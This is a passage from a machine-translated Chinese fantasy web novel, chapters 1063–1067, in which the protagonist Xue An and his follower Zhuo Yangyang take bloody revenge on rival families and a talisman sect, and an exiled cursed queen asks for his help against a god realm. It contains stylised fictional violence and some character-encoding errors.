    Before the end of the word, Xue An nodded with a smile, "Okay! Then I will fulfill you!"


    "My lord, forgive me!" Jin Xiong was so frightened, he knelt on the ground and kowtowed at Xue An, asking Xue An to let him go.


    But it��s too late.


    Xue An didn''t bother to listen to this kind of character''s begging for mercy, so with a wave of his hand, a sword light pierced Jin Xiong.


    Jin Xiong is also the head of a wealthy family at any rate, and his strength is not bad, but when faced with a sword that Xue An casually sent, but he couldn''t even dodge, he was directly cut in half.


    Jin Xiong let out a miserable cry, and then his whole body exploded and turned into blood.


    This scene has made more people look at it.


    Xue An seemed to squeeze a bug to death, so he looked at Jin Shuman in his spare time.


    "This way, are you satisfied?"


    Jin Shuman nodded, and said softly: "Thank you!"


    Xue An said lightly: "No thanks! Let''s follow along!"


    After the words fell, Jin Shuman also burst to death with his body.


    At this point, the Jin family was wiped out.


    Despite the sea breeze, the smell of blood that permeated the entire banquet hall could not be dissipated.


    Everyone looked pale.


    Xue An raised his eyes and looked at Zhuo''s family.


    After sensing Xue An��s gaze, the old lady Zhuo, who was hiding in the corner, tried to fool through the level, and almost fainted.


    "Big..." She tremblingly wanted to say something.


    Xue An didn''t give her this chance at all, but directly looked at Zhuo Yangyang who was aside, and then smiled slightly.


    "Yang Yang, Zhuo family, these people, leave it to you! If you want to kill or stay, you can count it yourself!"


    Zhuo Yangyang was silent for a moment, then nodded, "Yes!"


    After that, Zhuo Yangyang turned around and stared at the Zhuo family who had shrunk into a ball, her eyes a little complicated.


    And this old lady Zhuo also woke up at this moment, the expression on her face changed, and then she squeezed a flattering smile.


    "Yang...Yang Yang, it was my grandmother before, but anyway, we are all blood relatives. I hope you can see these love points let us go."


    Zhuo Yangyang was silent, then lowered his head, as if thinking about something.


    The old lady Zhuo was overjoyed and knew there was hope.


    She felt that she knew this Zhuo Yang Yang too well.


    Honestly, but also very kind.


    It''s probably the same this time. As long as she plays the emotional card, she will definitely let herself go.


    Maybe I can still get back together! By then, even if our Zhuo family has a big backing, who would dare to provoke us?


    The older Mrs. Zhuo thought about it, she became more proud and smiled more enthusiastically.


    "Yang Yang, I know you have suffered a lot of grievances before, it was all my fault, grandma! Grandma apologizes to you now!"


    While talking, the old lady Zhuo slapped herself half-truth, and then said sincerely, "Yangyang, can you forgive grandma? I..."


    "Stop it!" Zhuo Yangyang, who had lowered her head, suddenly said, then slowly raised her eyes and looked at Mrs. Zhuo with cold eyes.


    "Your emotional card is useless to me!"


    The old lady Zhuo, who originally thought that big things could be done, froze.


    Zhuo Yangyang''s eyes swept across the faces of everyone in Zhuo''s family, and then she sneered slightly.


    "My lord is right, if you want people like you to learn to be in awe, you have to pay the price of blood!".


    "And you..." Zhuo Yangyang looked at Mrs. Zhuo with disgust, "No matter what you do, you can''t change the outcome of your death."


    The old lady Zhuo looked wrong, she couldn''t believe that she had said this from her always honest granddaughter.

 Chapter 1063： Persuade people to be struck by lightning

    Standing aside, Mrs. Zhuo, who had been silent for a long time, said suddenly: "Yang Yang, how can you talk like this?"


    "Oh? How do you think I should talk?" Zhuo Yangyang said lightly.


    "Anyway, she is your grandma anyway! You can''t change this!"


    "Grandma?" Zhuo Yangyang sneered and pointed at Mrs. Zhuo, "Just her?"


    Mrs. Zhuo sighed, "I know you have suffered a lot in the past ten years, but the old lady also apologized to you just now, then even if all this is over! You should be generous, after all, it is not a big deal. Huh!"


    "Generous......" Zhuo Yangyang muttered to herself.


    "That''s right! People have to look forward, there will be no obstacles to be overwhelmed by being generous!" Mrs. Zhuo said plausibly.


    But as soon as she finished her voice, Zhuo Yangyang suddenly shouted, "Enough!"


    Mrs. Zhuo''s was taken aback.


    At this moment, Zhuo Yangyang''s figure flashed, and she appeared directly in front of Mrs. Zhuo''s, stretched out her hand to pinch her neck, and then lifted it into the air.


    "You haven''t experienced what I have suffered, why should you persuade me to be generous? Huh?" Zhuo Yangyang said bitterly.


    Mrs. Zhuo''s eyes rolled straightly, her hands and feet struggling, but she couldn''t shake Zhuo Yang Yang.


    Mrs. Zhuo''s once elegant face finally showed a look of fear, and then said with all his strength.


    "Yang...Yangyang, let me down quickly, everything is easy to discuss! I...I know I was wrong!"


    Xue An, who had been watching with cold eyes, suddenly laughed, "Yang Yang, seeing this woman, I suddenly remembered a sentence, must stay away from those who casually persuade you to be magnanimous, because when lightning strikes him, it will be exhausted. You! What do you think?"


    Zhuo Yangyang also raised a smile at the corner of his mouth, "My lord, I think this sentence is too right!"


    After that, Zhuo Yangyang pinched Mrs. Zhuo''s hand with a sudden force.


    This Mrs. Zhuo felt a huge force coming, and she couldn''t breathe under her pressure.


    The fear of death made her give up all dignity.


    "Don''t... Yang Yang, please..."


    The voice did not fall.


    Her head was chopped off by Zhuo Yang Yang, and then rolled down, her dying fear and doubts were still frozen on that once graceful face.


    doesn''t seem to believe that Zhuo Yangyang actually dared to kill herself.


    This time, the audience was shocked.


    Everyone did not expect that this weak-looking purple-clothed girl would be so cruel to make a shot.


    The old lady Zhuo and Zhuo Ya were even more shocked.


    "you you����."


    You have been for a long time, and they can''t say a complete sentence.


    Zhuo Yangyang raised his hand and dipped the blood droplets on his face, put it on his lips, tasted it lightly, and then grinned.


    "It tastes good! But I think your blood must taste better! Right?"


    The old lady Zhuo was shocked, she looked at Zhuo Yangyang in amazement, "You...do you really dare to kill your relatives?"


    Before the end of the words, Zhuo Yangyang rushed forward, grabbed the hair of the old lady Zhuo without hesitation, and sneered: "Dear? When you killed my mother, why didn''t you consider kissing?"


    "Why didn''t you consider kissing when you were about to give me to Xu Bao?"


    The old lady Zhuo fought with each other, and she was already speechless under the pain.


    Zhuo Yangyang leaned down and said in her ear: "You are actually scared! But I am just treating you the way you used to treat me!"


    What else does the old lady Zhuo want to say.


    Zhuo Yangyang was no longer in the mood to talk nonsense with her, a brilliance appeared in her hand, and then she swiped across the old lady Zhuo''s neck.


    ��!


    The old lady Zhuo��s throat was cut open with a huge wound, and the blood spurted out, like a blood-colored rose in full bloom.


    Then the old lady Zhuo tightly covered her neck with her hands, as if she wanted to heal the wound in this way.


    But everything is in vain.


    The blood flowed down the fingers, and the air in the lungs was also squeezed out, forming a series of fine bubbles.


    Her eyes were filled with horror and horror, and she finally fell to the ground slowly and died absolutely.


    At this moment, Zhuo Yangyang''s purple dress was already stained with blood, but her expression became more excited, then she looked at Zhuoya who had shrunk into a ball with cold eyes, and laughed.


    "Sister Zhuoya, when this old witch died, she was no different from a normal person! It was even more unbearable, right?"


    Zhuoya was almost frightened, after hearing Zhuo Yangyang''s question, she nodded hurriedly.


    "Yes, yes! This old witch is the worst! It is great that you killed her, you will be the master of the Zhuo family in the future!"


    "Then don''t you hate me?" Zhuo Yangyang said lightly.


    Zhuoya hurriedly shook her head, "Of course not, I also hate this old witch!"


    "But... just now I seem to have killed your mother too! So you don''t hate me?" Zhuo Yangyang leaned down and looked at Zhuoya who was already sitting on the ground.


    Zhuoya''s hairs stood up all over, and she cried out crying: "No hate, because they are all damned! Yang Yang, I really know that I was wrong, please let me go! I never..."


    Before the sound of ����, Zhuo Yangyang took a palm and took a picture, and the corpse fell to the ground at www.novelhall.com~.


    "They are damned, don''t you deserve to die? These words, let''s talk to them below!" Zhuo Yangyang said coldly.


    So far, Mrs. Zhuo and others have all died.


    and Zhuo Yang Yang became the only member of the Zhuo family to survive.


    Everyone in the audience looked at the purple-clothed girl with fearful eyes.


    At the beginning, many people ignored her, and even thought she was just a servant girl of Xue An.


    But Zhuo Yangyang''s brutal method of killing several people just shook everyone.


    Especially she killed relatives who were related to her, which is even more frightening.


    And the strength she showed, also made many people understand.


    From then on, there will be a strong woman in the Cursed City.


    There were several corpses lying on the ground, the smell of blood was so disgusting.


    But no one dared to show the slightest strangeness.


    Xue An sighed softly and said to himself: "Should it be over?"


    Many people secretly breathed a sigh of relief, and it seemed to be over.


    But Xue An''s next sentence brought these people''s hearts up again.


    "It doesn''t seem to be there yet!"


    As he said, Xue An turned his head and smiled slightly at Kang Huazang, who looked uncertain.


    "Are you right?".


    Kang Huazang seemed to have expected Xue An to ask himself, but there was no expression of fear on his face.


    "Xue An, I admit that I underestimated you before! Your strength is indeed enough to win respect. Our Tianfu Pavilion has accepted it this time!"

 Chapter 1064： Wanfus big formation, instantly changed hands

    Kang Hua Zang''s tone was very plain, as if he was saying something insignificant.


    Xue An seemed to smile, "Are you not afraid that I will kill you?"


    "Fear, but the strong in the gods are respected, your strength is higher than me, then my life and death are controlled by your thoughts! So what is the use of being afraid?"


    Xue An nodded, "It makes sense! But since you think so, why did you just use the rune secret technique to report to the teacher?"


    Kang Huazang, who was originally indifferent, his face changed drastically.


    "you����."


    "How did I know?" Xue An smiled, "Do you really think that you can hide from me with your tricks?"


    The expression on Kang Huazang''s face is changing, and he is about to speak.


    at this time.


    I saw a golden line emerging from the distant sky.


    This golden thread is more than a thousand miles long and looks like a glow at first glance.


    In a moment, I saw this golden thread flying at an extremely fast speed.


    Until this time, many people can see clearly.


    What kind of golden thread is this? It is clearly a talisman exuding a golden light!


    These extremely large numbers of talisman seals converge together, like a tide, surging.


    "It''s the Ten Thousand Talisman Great Array of Tianfu Pavilion!" Someone exclaimed in exclamation.


    More people have been frightened by this scene.


    Because they have heard of Tianfu Pavilion��s Ten Thousand Talisman Formation, it is rumored that this is Tianfu Pavilion��s strongest killer move. It will only be used when facing a strong enemy. Once it is shot, it will never stop. .


    But for hundreds of years, it has rarely been heard that Tianfu Pavilion used this trick, but I didn''t expect it to be here today.


    at the same time.


    The sky-filled talisman had already flown over the cursed city, and then it seemed to be spiritual, automatically arranged in a formation, and began to slowly rotate like a world in the sky.


    At this time, Kang Huazang burst out laughing.


    "Xue An, aren''t you amazing? But I don''t believe that you can even resist the Ten Thousand Talisman Formation that my Tianfu Pavilion has painstakingly accumulated for hundreds of years!"


    This is the confidence that Kang Huazang has not been afraid of until this time.


    At this moment, a figure appeared in the middle of the Wanfu Great Formation.


    This figure is an old man wearing a robe with embroidered gold runes and a majestic demeanor.


    When he saw this person, Kang Huazang bowed and saluted.


    "I have seen Master!"


    That''s right.


    The visitor is the head teacher of Tianfu Pavilion, known as the strongest sage of Wanfu Old Man.


    This old man of Wanfu nodded slightly with a haughty expression, "Hua Zang, you issued the highest-level divisional emergency order, what powerful enemy has appeared?"


    Kang Huazang said respectfully: "Master, this is the person!"


    said, he raised his hand to Xue An.


    This old man of Wanfu glanced at Xue An, and then his eyes were attracted by the huge scar on the sea that was more than 10,000 miles long.


    After looking at it for a moment, this Wanfu veteran nodded slightly, "What a powerful sword intent! So, your Excellency should be a sword repairer?"


    Xue An has been watching quietly, until the old man Wan Fu asked, he smiled.


    "I think so!"


    "Your Excellency can have this level of cultivation at such an age, it is really extraordinary! And Hua Zang also said clearly in the Shimen emergency order that he sent back to us! This matter can''t tell who is right and who is wrong, but since you killed My disciple, there must be an explanation, are you right?"


    "Explain? Then what are you going to ask for?" Xue An asked lightly, holding his shoulder.


    "It''s very simple, you apologize to my Tianfu Pavilion! Then this time the **** pattern in this world belongs to our Tianfu Pavilion! Even if this incident is over! What do you think?"


    Wanfu old man thinks that he has very good conditions.


    In fact, if it weren''t for Xue An''s strength, he might not talk nonsense at all and just start it.


    But Xue An laughed when he heard the words, "Apologize?"


    "That''s right! That Xu Bao is my beloved disciple, you kill him, you should pay for your life, but I..." The old man Wan Fu wanted to continue.


    Xue An waved his hand to stop him, and then took a moment to look at the infinite talisman seal covering the entire sky.


    "Do you think you can win me by this?"


    The old man Wanfu was startled, then his expression gradually became gloomy and cold, "Xue An, what do you mean?"


    Xue An smiled slightly, "It''s meaningless, I just think these symbols are good, but the person who controls them...too bad!"


    "Looking for death!" The old man Wan Fu had a fiery temperament and was extremely arrogant.


    Especially this time he thought he had given Xue An enough face, but he didn''t expect him to be so ignorant of raising him, so he shouted angrily and moved his hand directly.


    I saw the sky full of talisman seals began to spin rapidly, and formed a huge vortex, between the twinkling of golden light, a bright golden light hit Xue An directly.


    The speed is so fast that many people just feel that a flower is in front of them, and this blow has come to Xue An''s head.


    Xue An didn''t evade at all, instead he looked at these seals with interest, and then slowly stretched out his hand.


    This golden light flew directly into Xue An''s palm in the horrified eyes of everyone.


    Wanfu old man''s eyes almost stared out, "Impossible! This golden light is invincible, no one in the world can surrender, you..."


    Xue An smiled slightly, "It''s not bad, but it''s too violent to fall into your hands!"


    After that, Xue An looked up at the sky full of seals and whispered orders.


    "There are thousands of runes, only I can use it!"


    Boom!


    Simple eight characters The sky full of talisman seals that were originally arranged in accordance with the meaning of the old man Wanfu, the formation suddenly shattered.


    then very obediently rearranged according to Xue An''s orders!


    in an instant.


    Wanfu has changed hands and turned into a mysterious formation, while the spearhead is directed at the lone Wanfu old man in the air.


    Until this time, the old man Wanfu came out of the shock.


    then exclaimed in utter anger: "What sorcery do you use? Why does the talisman of my Tianfu Pavilion listen to you?"


    "Sorcery?" Xue An smiled faintly, then shook his head, "I have to say, your knowledge is too shallow!"


    "The reason they are obedient is that I am the one who gave the order, it''s that simple!"


    The old man Wanfu didn''t understand yet.


    Xue An raised his hand and pointed, "Go out! Tired!"


    pointed at the fingertips, the group of symbols rolled over.


    This time the talisman formation is more than a hundred times stronger than before, so the aura that exudes during the journey makes the old man Wanfu change his face.


    But he is the leader of Tianfu Pavilion, so it is naturally impossible to admit defeat so easily.


    I saw him grinning, showing strange signs around his body, his body gradually faded, trying to get out of here.


    But at the moment when his figure is about to completely become nothingness.


    The golden light of the sky full of talisman seals exploded, directly cutting off the connection between the world and the outside world.


    And the escape of the old man Wan Fu was naturally blocked. .


    "This����."


    Before the words fell, I saw the sky full of talisman seals surge up, completely engulfing the figure of the old man of Wanfu.

 Chapter 1065： Sword Slash the Void

    The scream of ?? actually only lasted for a short period of time, and then stopped abruptly.


    Because no one can survive under the strangulation of this rune array.


    When everything becomes silent.


    The world can only hear the faint sound of surging symbols.


    Xue An lowered his head and looked at Kang Huazang who was dumbfounded.


    "You said you hate women! But you... are you not a woman?"


    There was a commotion in the crowd.


    "What? Kang Huazang is actually a woman? How is this possible?"


    "That''s right! How could Futing''s big brother this day be a woman?"


    People are all amazed.


    Kang Huazang trembled, an incredible light appeared in his eyes, "You...you..."


    Xue An said lightly.


    "How did I know? Actually, I realized something was wrong when I first saw you, but after you do something, I can finally be sure!"


    "Because your spirit and this body are obviously not unified, although you cover it up very well, in my opinion, everything is so obvious!"


    Speaking of this, the smile on Xue An''s face grew colder, "How is it? How does it feel to take away someone else''s body?"


    Kang Huazang began to tremble uncontrollably, and cold sweat appeared on his forehead.


    As Xue An said, he is indeed a woman.


    and it is also the first batch of people to worship Tianfu Pavilion.


    But because of her own talent limitations, it is difficult for her to survive her cultivation in this life.


    Especially because of being a woman, it is extremely inconvenient in many ways.


    This makes it hard for her to be competitive, and she has a strong sense of disgust towards her body.


    In order to find a way to break through the limitation of talent, with the help of her master Wanfu Elder, she looked for a teenager with amazing talent.


    The effort paid off, she finally found the body that she is now, and then reborn through cruel means, and then became the master of Tianfu Pavilion.


    Since then, she has been showing people with this face for a long time, and even began to forget that she was a woman.


    But because of his beauty-loving nature, he still likes to dress up beautifully.


    But because of what happened back then, she hated women deeply and couldn''t take any interest in it.


    This is the secret hidden in the deepest part of Kang Huazang''s heart, but Xue An did not expect it to be directly revealed today.


    "I admit defeat, but Xue An is not too proud of you. The powerhouse of the gods will come out in large numbers, and someone will take care of you sooner or later!" Kang Huazang roared with a ferocious expression.


    Xue An smiled, "Okay, then I''ll wait to see who can take care of me! Let''s blow my mind!"


    Kang Huazang took a moment, and then laughed grinningly, "So you still want to save the soul of this body? I tell you, you are simply wishful thinking, I am dead, and he has to die with me!"


    Speaking, Kang Huazang burst out laughing.


    Xue An raised his eyebrows slightly, "In that case, I will do it myself!"


    There was a crazy light in Kang Huazang''s eyes, "It''s useless, now my soul has been integrated into this body, unless you can pull me out, otherwise this person will undoubtedly die! But this is not at all possible."


    Because Kang Huazang knew very well that if he wanted to drive his soul out of this body, he needed not only strong strength, but also an extremely deep level of spiritual control, otherwise he couldn''t do it at all.


    And this Xue An is obviously a swordsman. The swordsman practiced the supreme sword intent and rarely dabbled in other aspects.


    So it is absolutely impossible for him to do it.


    That��s why Kang Huazang dared to shout to Xue An.


    But at this moment, Xue An''s eyes were slightly narrowed, and a surging and powerful spirit rushed towards him.


    Kang Hua Zang had not had time to react, this divine mind invaded the sea of ??consciousness, directly uprooted the spirit of Kang Hua Zang, and then dragged it to the outside world.


    Kang Huazang��s soul struggled in the air, and couldn��t believe it was true.


    "It''s impossible, aren''t you a sword repairman? How can you have such a powerful spiritual mind?"


    Xue An smiled, "Impossibility in your eyes, in my opinion, it is easy!"


    After that, Xue An��s eyes flashed, and Kang Huazang��s soul screamed, and was directly crushed into nothingness by Xue An��s turbulent spirit.


    So far.


    The Zhuo Family, the Jin Family, and the Tianfu Pavilion were all destroyed.


    People are even a little numb.


    Even if Xue An directly kills the gods in the next second, they will not be surprised.


    Because Xue An has given people too much shock from the beginning to now.


    Xue An fell to the ground, Zhuo Yangyang stepped forward and bowed to salute.


    "grown ups!"


    Xue An smiled, "How do you feel?"


    Zuo Yangyang smiled happily, "It feels like she has lifted a heavy burden, and the whole person is extremely relaxed!"


    Xue An nodded, "That''s good, but remember that although killing can be solved quickly, you should never be blinded by it!"


    Zhuo Yangyang''s expression became solemn, "Yes!"


    In the distance, Meng Lei stared blankly, and then trembling slightly with excitement.


    Because he knew that from then on, Miss Yang Yang would soar into the sky, and she was no longer the orphan who was bullied.


    "My lord, this sea..." The Queen of Curse came forward and asked a little hesitantly.


    On the sea surface at this moment, the huge scar cut by Xue An''s sword still exists, and it hasn''t disappeared at all.


    Xue An smiled, "I can feel that at the latest no later than tomorrow, the **** pattern will appear! Then you can go deep through this channel!"


    The cursed queen looked towards the end of the sea, her expression slightly changed, "You mean..."


    "Yes, the place where the **** pattern was born is in the sea of ??god punishment!"


    The audience heard the words in awe.


    Xue An stretched, "Okay! It''s late at night, go back to sleep!"


    After that, he left Shishiran.


    Everyone looked at each other, then they all smiled bitterly, and then quietly left here.


    The dinner was finally over, but the shock it brought swept across the cursed city like a stormy sea.


    at the same time.


    In that star realm.


    The Ziwei star monarch who was sitting in the middle palace closed his eyes and meditated suddenly raised his eyes, and shouted with majesty: "What''s the matter? Why can''t I feel the breath of my son?"


    The voice echoed over the entire Ziwei Star Palace.


    At this moment, I saw that the star fire that belonged to the son of Ziwei suddenly went out on the astrolabe in front of Star Lord Ziwei.


    Ziwei Xingjun was slightly startled, and then shouted in anger, "My son!"


    But just after the spark was extinguished, it was less than a breath of sight and I saw it on the astrolabe, and a simple jade charm that revealed a mysterious aura suddenly shattered.


    Then the spark that represented the son of Ziwei was reignited again.


    The resurrected Ziwei Xingzi called out, "Father..."


    Ziwei Xingjun took a breath, and then said: "My son, who is..."


    He just asked who killed you.


    But at this moment, I saw the void tremble, a sword intent appeared out of thin air in front of the newly resurrected son of Ziwei, and then strangled.


    Click!


    The newly resurrected Ziwei God Child was completely shredded by this sword intent, and his soul was destroyed.


    Moreover, the annihilation this time was completely complete, because the resurrection rune that took countless efforts to obtain has been broken.


    Looking at the spark that went out again and would never ignite again, this Ziwei Xingjun looked dull.


    He can feel the strong aura contained in the sword intent just now.


    Stunned for three breaths.


    Ziwei Xingjun suddenly looked up to the sky and let out an angry roar.


    "He Fang Jianxiu, dare to kill my son, I will smash you into pieces!!"

 Chapter 1066： A visitor, get insights

    The cursed city now has a strange atmosphere.


    What happened at the night banquet of the city lord has been completely spread.


    In fact, there is no need for rumors, as long as anyone with eyes can see the huge sword mark that divides the entire sea area in two.


    And this also caused two consequences.


    The wealthy families who used to be aloof and arrogant have all become extremely humble at this moment.


    The sailors who were once at the bottom, all their chests straightened out at this time.


    Especially the sailors who followed Meng Lei to the city lord��s mansion to stand up for Xue An, and they even took the wind when they walked.


    Some of them are very pushy, and they are proud to tell those who have not been able to go.


    I saw these people slap their chests loudly, what they said was an excitement.


    People who listen to it are often very engaged, and even the spitting stars are splashed on their faces, and they don''t know how to wipe them, and they exclaim a few times from time to time.


    And just when the whole city was making a lot of noise because of this incident.


    Xue An hid in the small building and fiddled with something.


    An Yan came out of Fubao��s Xiaolou and saw Xue An��s Guanghua Road, she couldn��t help walking up strangely, "Husband, what are you doing?"


    Xue An raised his head and smiled at An Yan, ��It��s nothing, I just think this Tianfu Pavilion is too violent! He actually used these naturally-generated talisman seals to attack people!��


    "Huh? Husband, is Fu Zhuan still natural?" An Yan was taken aback.


    Xue An nodded, "Of course! Just like the elixir, **** grass, heaven and earth treasure, this talisman is also naturally generated, but it is extremely rare!"


    Speaking, Xue An looked at the talisman seals in his hand that still looked radiant after shrinking.


    "Tianfu Pavilion can have so many, it can be seen that they should have encountered some special places, and then harvested and accumulated. It is a pity that they don''t know the treasures, and they actually use such things to make the talisman, really holding a golden rice bowl to beg!"


    "Husband, what do you plan to use them for now?"


    Xue An smiled, "I haven''t thought about it now, but somehow I have to untie the restrictions imposed on these talisman seals!"


    "And even if these talisman seals do nothing, they can be used directly as money when they reach the prosperous place, even harder than Lingjing!"


    "A prosperous place? What is a prosperous place?" An Yan was a little confused.


    Xue An nodded and smiled faintly, "These are the star regions that are located in the depths of the starry sky and connect the main paths of the heavens! There are many peoples who practice and thrive, and that is where the real strong come out in large numbers and the most prosperous!"


    An Yan listened leisurely and fascinated, "Wow, it sounds very lively, I really want to see it!"


    Xue An smiled and rubbed her hair, "Don''t worry, I will naturally take you and miss you in the future!"


    "Hmm!" An Yan nodded.


    At this moment, Zhuo Yangyang��s shout came from outside the door.


    "My lord, I have a guest please!"


    There is something strange in the sound.


    "Guest?" Xue An was startled, and even though he thought of something, he smiled slightly.


    "Let her come in!"


    With the voice, the door of the room was gently pushed open, and the cursing empress slowly walked in.


    At this moment, she has changed her outfit. Although she is still in a red dress, she is less aggressive and more feminine.


    The key is that her face is not covered by the mist before, but shows her true colors.


    Although a loli face is very violent when she is the lord of the city, she is still very attractive when she is a woman in private.


    The cursed queen came to the front, bowed and saluted, "I have seen the lord!"


    Xue looked at him quietly, until after a while, he smiled with a hint of playfulness.


    "It turns out that the queen is here!"


    Cursed the Queen with a wry smile: "My lord is joking, how dare I call the word Queen in front of you!"


    Xue An was noncommittal, and raised his hand to the opposite chair, "Sit down!"


    Cursed the Queen hesitated for a moment, and sat opposite Xue An.


    After sitting down, she kept quietly watching Xue An and An Yan sitting on Xue An''s side.


    Especially when she saw An Yan who was far better than her in both her temperament and appearance, the cursed queen couldn''t help but tremble slightly, a look of loss appeared in her eyes.


    "The Queen is here at this time, but something is going on?" Xue An asked lightly.


    "My lord, my real name is Chu Xiaoyun, you can call my name! As for me, here..."


    Chu Xiaoyun gritted his teeth, a look of determination appeared on his face.


    "My lord, I presume to ask, you...you should not be in this world!"


    Xue An raised his eyebrows when he heard the words, and asked with interest: "Oh? Why do you say that?"


    "Because I can''t feel the slightest breath of the gods in your body!"


    "The breath of the gods?"


    "Yes!" Chu Xiaoyun nodded.


    "This realm was originally the place where the Protoss lived. Although the Protoss is now in great decline and many ancient gods have fallen, the impact is extremely profound!"


    "For example, the cultivators in this world are more or less tainted with the breath of the gods, and some even simply self-concentrate, turning the cultivators into gods! But in your body, I can''t feel these breaths at all!"


    Xue An smiled, then leaned back on the chair, ��You guessed it, I��m not really in this world, but what do you want to do when you ask this?��


    Chu Xiaoyun was silent for a moment, then raised her head, her eyes flickered, and tears loomed, "My lord, if I guessed correctly, your purpose in this world would never be that simple!"


    Xue An did not speak, but listened quietly.


    "I can feel the strong breath in you A strong like you will never come to this world for no reason, so I have been guessing what you intend to do, after all A **** pattern will not be so exciting! Until today I received a message from the outside world!"


    Speaking, Chu Xiaoyun took a deep breath and slowly said, ��It��s you who defeated all the chess masters in the Amaterasu Star Territory!��


    Xue An raised his eyebrows, "Yes! But if you do this, have you thought about the consequences?"


    Chu Xiaoyun trembled all over, and his face was a little pale, but he still said with a firm face: "My lord, I know it''s very taboo to speculate about someone like you at will, but I still want to try it!"


    As she said, she leaned away from her seat and fell to her knees, "My lord, since you are tracking from the Amaterasu star field, if I guess right, it must be for the Amaterasu gods! And I want to ask you. The matter is also related to this!"


    Xue quietly looked at the woman kneeling on the ground.


    There was a long, heart-pounding silence.


    It was so long that even Chu Xiaoyun''s eyes showed panic and despair.


    Then Xue Ancai said lightly: "Go on!"


    Chu Xiaoyun secretly breathed a sigh of relief, knowing that he was right, and then said very solemnly.


    "My lord, I can take you to the Amaterasu gods! But you have to help me accomplish one thing!"

 Chapter 1067： God pattern present

    "Oh? Help you accomplish something? What is it?" Xue An asked with a smile.


    Chu Xiaoyun lowered his head and was silent for a moment, and then whispered: "Lord, please see!"


    Speaking, layers of brilliance appeared from the top of Chu Xiaoyun''s head, which was her own godhead.


    It��s just that this godhead is bound by layers of chains, and it looks dull and dull.


    "Seal the shackles?" Xue An was startled slightly.


    "That''s right!" Chu Xiaoyun raised his head and smiled bitterly: "It''s the seal yoke!"


    Then Chu Xiaoyun said with a pale face: "My lord, in fact, I am not a member of this universe. The reason why I am the lord of the city here is all because of being exiled here!"


    "Exile?"


    Chu Xiaoyun nodded, "I used to be a member of Amaterasu God Realm, just because... because our family offended someone who shouldn��t offend, I was chained and exiled to this savage place. Land!"


    Next, Chu Xiaoyun gave a general account of her origin.


    As she said, she did come from Amaterasu God Realm, and she was also from a wealthy family in God Realm.


    As a young girl in the family, Chu Xiaoyun has been extremely doted since childhood.


    If there is no accident, she will practice step by step, and finally achieve a **** position.


    But all the glory came to an abrupt end on a certain day.


    On that day, a group of gods and spirits surrounded the Chu family. Those wealthy families who once had a good relationship with the Chu family were all turning their backs at the moment and all aimed their spearheads at the Chu family.


    Chu Xiaoyun still remembers that scene.


    His father, the Patriarch of the Chu family, was smashed into pieces by a dozen or so monarch-level gods after slashing several great gods, and his thousand-year cultivation was completely wiped out.


    And her grandfather, the old Patriarch of the Chu family, who was already hidden from the world, was also forcibly sealed after the battle, because of his lack of power.


    As for the other members of the Chu family, they were even more deadly sealed. In the end, she was the only one who was saved from being poisoned because of her young age.


    But this is not luck, but the beginning of a nightmare.


    It was the goddess of cursing who spoke to protect her, and this **** was a difficult existence even among the gods of Amaterasu.


    After taking Chu Xiaoyun away, this cursed goddess taught her many magic arts.


    At that time, Chu Xiaoyun was grateful and really regarded this cursed goddess as his master.


    But she didn''t even know that the cursed goddess had no good intentions to save her, but she had taken a fancy to the Chu family''s blood and talent.


    Waiting to crack and obtain, the cursed goddess immediately turned his face, directly cast the curse of the gods on Chu Xiaoyun, and exiled her to this deserted land, known as the guardian god''s sea of ??punishment.


    Chu Xiaoyun thought about dying, but under the curse of this god, she couldn��t die if she wanted to die.


    And she was not reconciled. She wanted to avenge the people who died in the Chu family and herself.


    But all this is not easy, the cursed goddess is an ancient **** that has existed since ancient times.


    Not only that, but the curse placed by this cursed goddess will continuously harvest Chu Xiaoyun''s talent and blood.


    All this trapped Chu Xiaoyun like a cage.


    Until the birth of the **** pattern, Chu Xiaoyun had a glimpse of opportunity.


    She originally wanted to use this opportunity to get acquainted with the son of Ziwei, and finally get out of here.


    Unexpectedly, the appearance of Xue An disrupted the overall plan.


    However, Xue An��s strength gave Chu Xiaoyun even greater hope.


    Especially when she found out that Xue An was tracking this from the outside world, it strengthened her belief.


    That��s why she was desperate, ready to make a bet.


    After ?? finished speaking, Chu Xiaoyun raised his head and looked at Xue An with calm eyes.


    She has said everything she can say, and now everything depends on what Xue An means.


    If this mysterious strong man is willing to help himself, then he still has hope of revenge.


    If he refuses, then Chu Xiaoyun is also ready to give it a go, because she has had enough of this dark time!


    Xue An''s eyes flickered slightly after listening.


    "Then why did your Chu family be surrounded and suppressed by the Amaterasu Gods in the first place?"


    Chu Xiaoyun smiled sadly, "My lord, I don''t know the specific reason, but it should be because our Chu family disagrees with an order from the King Amaterasu!"


    "Amaterasu God King?"


    "Yes! Commanding the Amaterasu God Realm for tens of thousands of years, the strongest sage of the ancient gods, Amaterasu God King!" Speaking of this, Chu Xiaoyun''s eyes burst out with bright light.


    "My lord, the root of all this may come from him, but I wonder if you dare to promise to help me?"


    Xue An did not speak, as if thinking about something, the light in his eyes changed slightly.


    A long silence!


    Chu Xiaoyun''s face gradually showed disappointment.


    For this result, she had already expected it.


    Because the cause and effect of this incident were too big, so big that even the opponent was a giant of the gods who guarded one side.


    But even if it is the elusive hope, she is not willing to give up.


    You can see what it looks like now, it still failed!


    Chu Xiaoyun felt extremely sad.


    But when she was already desperate, Xue An gradually laughed, smiling very brightly.


    "Very good! This is a favor, I helped!"


    Chu Xiaoyun was taken aback, then ecstasy appeared on his face.


    "Big...sir, Chu Xiaoyun, on behalf of everyone in my Chu family, will bow for you!"


    Speaking, Chu Xiaoyun knelt on the ground and banged his head.


    Xue An waved his hand, an invisible force stopped Chu Xiaoyun, and said lightly: "I can help you, but how do I get to the Amaterasu God Realm?"


    Chu Xiaoyun said: "My lord, it will be the birthday of the cursed goddess soon, and I will be allowed to return to the realm of gods at that time! Then we can go together!"


    Xue An nodded, "Okay!"


    Chu Xiaoyun was extremely excited, just about to stand up, just at this moment, above her godhead, the chains that were originally bound suddenly turned into poisonous pythons, and began to madly devour Chu Xiaoyun''s godhead.


    Chu Xiaoyun paled with pain, and trembled all over, but said in a very calm tone: "My lord, this is the seal yoke that the goddess of curse put on me. She is afraid that I will break the seal, so she will swallow it every day!"


    In words, it seems to have become accustomed to this.


    And Xue An finally understood why this Chu Xiaoyun had cultivated for so long, but still looked like a child.


    To know the strength of cultivation in the God Realm, you can tell from the appearance.


    With the growth of cultivation base and blood, talents will grow with everything.


    It stands to reason that Chu Xiaoyun has cultivated for so long, and this would never be the case.


    The original source of everything is here.


    Xue An��s eyes showed a touch of appreciation.


